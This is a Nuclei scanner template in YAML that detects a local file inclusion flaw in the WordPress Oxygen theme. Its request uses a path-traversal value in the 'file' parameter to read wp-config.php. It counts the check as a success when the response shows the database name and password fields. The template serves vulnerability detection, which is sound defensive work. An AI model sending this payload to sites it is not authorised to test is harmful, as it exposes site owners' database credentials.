nuclei-templates/vulnerabilities/wordpress/wp-oxygen-theme-lfi.yaml

27 lines
675 B
YAML
Raw Normal View History

2021-10-08 13:16:16 +00:00
id: wp-oxygen-theme-lfi
info:
name: WordPress Oxygen-Theme Themes LFI
author: 0x_Akoko
severity: high
2021-10-26 09:45:23 +00:00
description: The WordPress Oxygen-Theme has a local file inclusion vulnerability in its 'download.php' and 'file' parameter.
2021-10-08 13:49:29 +00:00
tags: wordpress,wp-theme,lfi
2021-10-08 13:16:16 +00:00
reference: https://cxsecurity.com/issue/WLB-2019030178
requests:
- method: GET
path:
- '{{BaseURL}}/wp-content/themes/oxygen-theme/download.php?file=../../../wp-config.php'
matchers-condition: and
matchers:
- type: word
words:
- "DB_NAME"
- "DB_PASSWORD"
part: body
condition: and
- type: status
status:
2021-10-08 13:49:29 +00:00
- 200